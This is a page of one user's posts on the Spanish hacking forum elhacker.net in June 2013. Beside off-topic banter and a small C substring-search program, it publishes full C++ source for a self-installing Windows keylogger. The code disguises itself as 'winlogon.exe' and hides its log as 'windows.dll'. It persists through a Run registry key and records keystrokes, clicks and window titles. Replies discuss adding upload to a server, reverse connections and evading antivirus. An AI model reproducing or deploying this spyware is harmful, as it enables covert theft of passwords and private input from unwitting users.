elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


  Mostrar Mensajes
Páginas: 1 ... 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 [158] 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 ... 185
1571  Foros Generales / Foro Libre / Re: Burradas informaticas que hayas escuchado en: 20 Junio 2013, 14:17 pm
que divertido esta este post por donde comienzo a ver:

una ves donde estudio nos iban a dar una conferencia de hacking pues bien comenzo explicado cosas como que es lamer y etc despues empezo a decir que lenguajes como perl y python son de bajo nivel porque los hackers los usaban para hacer exploits y que por eso son script(lo se nada de logica), luego mostro un video bastante absurdo de una intrusion donde sacaba exploits compilados de la nada en pc donde hacia la supuesta intrucion(nos dijo que para hackear un pc bastaba buscar ese exploit y ejecutarlo) .

dijo que un exploit 0-day son los que poseen copyright  y para finalizar mostro como '' hackear redes inalambricas' sin explicar que es wep ni wpa ni nada.y al otro dia todos bajaron cain y abel  y o sorpresa nadie pudo hackear nada :rolleyes:

el padre de un amigo hace tiempo me dijo que tenia un virus en el modem (en realidad era un router) porque no tenia conexion a internet.

esta no es tan grave teniedo en cuenta que el señor era de edad me dijo que queria saber si su pc tenia un virus yo le dije que no porque sin conexion a internet y sin meterle cds dvd usb etc no se iba infectar y el me dijo que pensaba que los virus se contagiaban por el aire o algo asi.

una vez le pregunte a alguien que era html y me dijo "no soy estupido cualquiera sabe que html es hotmail"



1572  Programación / Programación C/C++ / Re: [aporte]c keylogger solo con abrirlo se instala en: 18 Junio 2013, 13:52 pm
Ahhhh perdón si se entendio mal, me referia en ese codigo que puse que los valores del teclado numerico no los cogia bien.....
Y las caracteres los cogia como mayusculas... (en el código que puse yo)

Que en tu keyloger, no se si pasa lo mismo, que no lo había probado, a eso me refería!

Sorry si me explique mal.

Saludos
ok n_n
1573  Programación / Programación C/C++ / Re: [aporte]c keylogger solo con abrirlo se instala en: 17 Junio 2013, 20:06 pm

(NO es tu keylogger
como que no es mio? podrias aclararte
1574  Programación / Programación C/C++ / Re: [aporte][c]encontrar subcadenas y su posicion en: 16 Junio 2013, 15:13 pm
¿Y por que no usar lo que ya existe como es strstr de string.h? Le indicas la cadena y la subcadena a buscar y te devuelve la posicion de esta si la encuentra, y si la encuentra pues vuelves a usarla pero esta vez empiezas a buscar desde el resultado obtenido mas 1 y asi hasta llegar al final de la cadena.
pues la verdad no me gusta como c maneja las cadenas a diferencia de c++ asi que me parece mejor codearmelas.Ademas algo aprendere  :P


;-) ;-)

Deberías ampliar el programa para una lisa de palabras ^^

Por cierto una implementación en C++:

me gusta tu version en  c++ ;D
1575  Programación / Programación C/C++ / Re: [aporte]c keylogger solo con abrirlo se instala en: 16 Junio 2013, 15:11 pm
me parece muy interesante el codigo pero yo creo que en la zona donde haces uso de muchos condicionales if podrias haber usado in switch y hacer el codigo mas eficiente ya que solo entraria en uno de esos if pero la comprobacion seria en todos y con el switch no es asi. Otro detalle es como se lo tomaran los antivirus jejeje.

pues mira que lo he usado en mas de una ocasion con varios av , espero que no lo empiezen a detectar por subirlo aca  ;D

¿Lo hiciste tú? La verdad es que es menos código del que pensaba. Tiene buena pinta, ahora solo habría que añadirle una función para subir el archivo cada x tiempo a un servidor y otra para que se permita el programa en el firewall y queda uno keylogger dpm. :)

sip yo lo hice . No estaria mal que subieras el code si le pongas esas cosas  ;D pero lo del firewall no hace falta con conexion inversa es suficiente
1576  Programación / Programación C/C++ / [aporte][c]encontrar subcadenas y su posicion en: 16 Junio 2013, 01:54 am
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. int main()
  5. {
  6. char cadena[]="a p**a";
  7. char groseria[]="p**a";
  8. int value;
  9. int val;
  10. int x=0;
  11. for(value=0;cadena[value]!='\0';value++)
  12. {
  13.    if(cadena[value]==groseria[0])
  14.    {
  15.       for(val=0;cadena[value+val]!='\0';val++)
  16.       {
  17.        if(cadena[value+val]==groseria[val])
  18.        {
  19.                x++;
  20.  
  21.        }
  22.        else
  23.        {
  24.            x=0;
  25.        }
  26.            if(x==strlen(groseria))
  27.        {
  28.            printf(" el detector de groserias a encontrado una coincidencia en la posicion %i \n",value);
  29.        }
  30.       }
  31.    }
  32.  
  33. }
  34. return 0;
  35. }
  36.  
1577  Foros Generales / Foro Libre / Re: Pensáis que al final acabarán controlando internet? en: 15 Junio 2013, 19:44 pm
ya lo controlan

ya tienen el control de los servidores dns y les han quitado a algunas webs los dns como lo fue wikileaks en algun momento.

tienen echelon desde hace años y nadie les dice nada , tienen facebook , google , y microsoft,yahoo.

1578  Foros Generales / Foro Libre / Re: Cuentanos tu mejor chiste!! en: 15 Junio 2013, 18:46 pm
Oh no la ps4 apuñalo a el xbox one llamen una ambulancia!
WIIU WIIU WIIU WIIU
1579  Programación / Programación C/C++ / Re: ayuda con keylog.. porfavor.. en: 15 Junio 2013, 16:56 pm
talves esta parte de mi keylogger te ayude

Código
  1. for(int x=65;x<=90;x++) //valores ascii de los caracteres
  2. {
  3. if ( GetAsyncKeyState ( x ) == -32767 )
  4. {
  5. log << ( char ) x;
  6. }
  7. }
  8. for ( int x=48; x<=57; x++ ) //valores ascii de los numeros
  9. {
  10. if ( GetAsyncKeyState (x) == -32767 )
  11. {
  12. log << ( char ) x;
  13. }
  14. }
  15. if ( GetAsyncKeyState ( ' ' ) == -32767)
  16. {
  17. log << " ";
  18. }
  19. if ( GetAsyncKeyState (1) == -32767)
  20. { //CLICK izquierdo
  21. log << "[click-izq]";
  22. }
  23. if ( GetAsyncKeyState(2) == -32767 )
  24. { //click derecho
  25. log << "[click-der]";
  26. }
  27. if ( GetAsyncKeyState (8) == -32767 )
  28. { // nada que decir
  29. log << "[backspace]";
  30. }
  31. if ( GetAsyncKeyState (190) == -32767 )
  32. { // nada que decir
  33. log << ".";
  34. }
  35. if ( GetAsyncKeyState (188) == -32767 )
  36. { // nada que decir
  37. log << ",";
  38. }
  39. if ( GetAsyncKeyState (13) == -32767 )
  40. { // nada que decir
  41. log << "[enter]";
  42. }
  43. //capturar flechas
  44. if(GetAsyncKeyState(37) == -32767)
  45. { // nada que decir
  46. log << "[left]";
  47. }
  48. if(GetAsyncKeyState(38) == -32767 )
  49. { // nada que decir
  50. log << "[up]";
  51. }
  52. if(GetAsyncKeyState(39) == -32767 )
  53. { // nada que decir
  54. log << "[right]";
  55. }
  56. if(GetAsyncKeyState(40) == -32767)
  57. { // nada que decir
  58. log << "[down]";
  59. }
  60.  
  61. if(GetAsyncKeyState(9) == -32767)
  62. {
  63. log << "[tab]";
  64. }
1580  Programación / Programación C/C++ / [aporte]c keylogger solo con abrirlo se instala en: 15 Junio 2013, 16:52 pm
vi algunos interesados en keylogger asi que traigo esto
esta algo desordenado.

perdon el desorden  :-[.

aca un keyloggeer que hice se instala solo hecho para windows xp pero si quieren adaptarlo:
IMPORTANTE  PARA WINDOWS VISTA O POSTERIOR descomentar nunca  probe esta parte del code talves se necesiten ligeras modificaciones adicionales
Código
  1. /*
  2. char *instaladooo;
  3. instaladooo=getenv("USERPROFILE");
  4. SetCurrentDirectory(instaladooo);
  5. */
  6.  

Código
  1. #include <cstring>
  2. #include <windows.h>
  3. #include <fstream>
  4. #include <ctime>
  5.  
  6. using namespace std;
  7.  
  8. int main ( int argc, char *argv[] )
  9. {
  10. HWND hwnd;
  11. char ventana[255];
  12. char venta2[255];
  13. //existe el archivo log? si no existe instalar keylogger :D
  14. ifstream logc;
  15. logc.open ( "windows.dll" );
  16. if ( !logc.is_open() )
  17. {
  18. //---- se busca la carpeta de usuario
  19. char * dirinstal;
  20. char archivo [70];
  21. char * discolocal;
  22. dirinstal = getenv ( "HOMEPATH" );
  23. discolocal = getenv ( "SystemDrive" );
  24. strcpy ( archivo,discolocal );
  25. strcat ( archivo,dirinstal );
  26. //se crea el archivo log
  27. ofstream logos;
  28. char winlog [70];
  29. strcpy ( winlog, archivo );
  30.  
  31. strcat ( winlog, "\\windows.dll" );
  32. logos.open ( winlog, ios::out | ios::app );
  33. logos.close ();
  34. //-------
  35. strcat ( archivo, "\\winlogon.exe" );
  36. // se copia en la carpeta de usuario
  37. CopyFile ( argv[0], archivo, true );
  38. //- ahora se añade al registro
  39. HKEY hkey;
  40. RegOpenKeyEx ( HKEY_CURRENT_USER,
  41. "Software\\Microsoft\\Windows\\CurrentVersion\\run",
  42. 0, KEY_SET_VALUE, &hkey );
  43. RegSetValueEx ( hkey, "windout", 0, REG_SZ,
  44. (const unsigned char * ) archivo, sizeof archivo );
  45. RegCloseKey ( hkey );
  46. //se esconden los archivos , el keylogger y el log
  47. SetFileAttributesA ( archivo, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM );
  48. // ahora el log
  49. SetFileAttributesA ( winlog, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM );
  50. //por ultimo se cierra el sistema esperando que se reinicie el pc
  51. return 0;
  52. }
  53. logc.close();
  54.  
  55. // abre el archivo log
  56. /*
  57. char *instalado
  58. instalado=getenv("USERPROFILE");
  59. SetCurrentDirectory(instalado)
  60. */
  61. ofstream log;
  62. log.open ( "windows.dll", ios::out | ios::app );
  63. while ( true )
  64. {
  65. //detecta cambio de ventana
  66. hwnd = GetForegroundWindow ();
  67. GetWindowText ( hwnd, ventana, 255 );
  68. //----------------------
  69. for(int x=65;x<=90;x++) //valores ascii de los caracteres
  70. {
  71. if ( GetAsyncKeyState ( x ) == -32767 )
  72. {
  73. log << ( char ) x;
  74. }
  75. }
  76. for ( int x=48; x<=57; x++ ) //valores ascii de los numeros
  77. {
  78. if ( GetAsyncKeyState (x) == -32767 )
  79. {
  80. log << ( char ) x;
  81. }
  82. }
  83. if ( GetAsyncKeyState ( ' ' ) == -32767)
  84. {
  85. log << " ";
  86. }
  87. if ( GetAsyncKeyState (1) == -32767)
  88. { //CLICK izquierdo
  89. log << "[click-izq]";
  90. }
  91. if ( GetAsyncKeyState(2) == -32767 )
  92. { //click derecho
  93. log << "[click-der]";
  94. }
  95. if ( GetAsyncKeyState (8) == -32767 )
  96. { // nada que decir
  97. log << "[backspace]";
  98. }
  99. if ( GetAsyncKeyState (190) == -32767 )
  100. { // nada que decir
  101. log << ".";
  102. }
  103. if ( GetAsyncKeyState (188) == -32767 )
  104. { // nada que decir
  105. log << ",";
  106. }
  107. if ( GetAsyncKeyState (13) == -32767 )
  108. { // nada que decir
  109. log << "[enter]";
  110. }
  111. //capturar flechas
  112. if(GetAsyncKeyState(37) == -32767)
  113. { // nada que decir
  114. log << "[left]";
  115. }
  116. if(GetAsyncKeyState(38) == -32767 )
  117. { // nada que decir
  118. log << "[up]";
  119. }
  120. if(GetAsyncKeyState(39) == -32767 )
  121. { // nada que decir
  122. log << "[right]";
  123. }
  124. if(GetAsyncKeyState(40) == -32767)
  125. { // nada que decir
  126. log << "[down]";
  127. }
  128.  
  129. if(GetAsyncKeyState(9) == -32767)
  130. {
  131. log << "[tab]";
  132. }
  133. //detecta cambio de ventana con otra variable
  134. hwnd = GetForegroundWindow ();
  135. GetWindowText ( hwnd, venta2, 255 );
  136. //compara las viarablews de cambio de ventana
  137. if ( strcmp ( ventana, venta2 ) != 0 )
  138. {
  139. //ventana a comparar
  140. char key[]= "lolwinlogonlol";
  141. // sera el nombre de la ventana que cierre el proceso
  142.  
  143. if ( strcmp ( ventana,key )== 0 )
  144. {
  145. log.close ();
  146. return 0;
  147. }
  148. //calcular la fecha
  149. time_t tiempo = time (0);
  150. struct tm *tlocal = localtime (&tiempo);
  151. char output[128];
  152. strftime ( output, 128, "%d/%m/%y %H:%M:%S", tlocal );
  153. //--------------------
  154. log << endl << "-------------------------" << endl;
  155. log << "fecha:" << output << endl;
  156. log << endl << "ventana:"<< venta2 << endl;
  157. }
  158. }
  159. return 0;
  160. }


leer logs.cpp
Código
  1. #include <iostream>
  2. #include <cstring>
  3. #include <windows.h>
  4.  
  5. using namespace std;
  6.  
  7. int main()
  8. {
  9. char direccion[70]="notepad \"";
  10. char *disco;
  11. char *varsis;
  12. SetConsoleTitle("lolwinlogonlol");
  13. cout << "espere mientras se abre el archivo:" << endl;
  14. varsis=getenv("HOMEPATH");
  15. disco=getenv("SystemDrive");
  16. strcat(direccion,disco);strcat(direccion,varsis);strcat(direccion,"\\windows.dll\"");
  17. system(direccion);
  18. cout << "lol" ;
  19. return 0;
  20. }
  21.  
  22.  
Páginas: 1 ... 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 [158] 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 ... 185
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines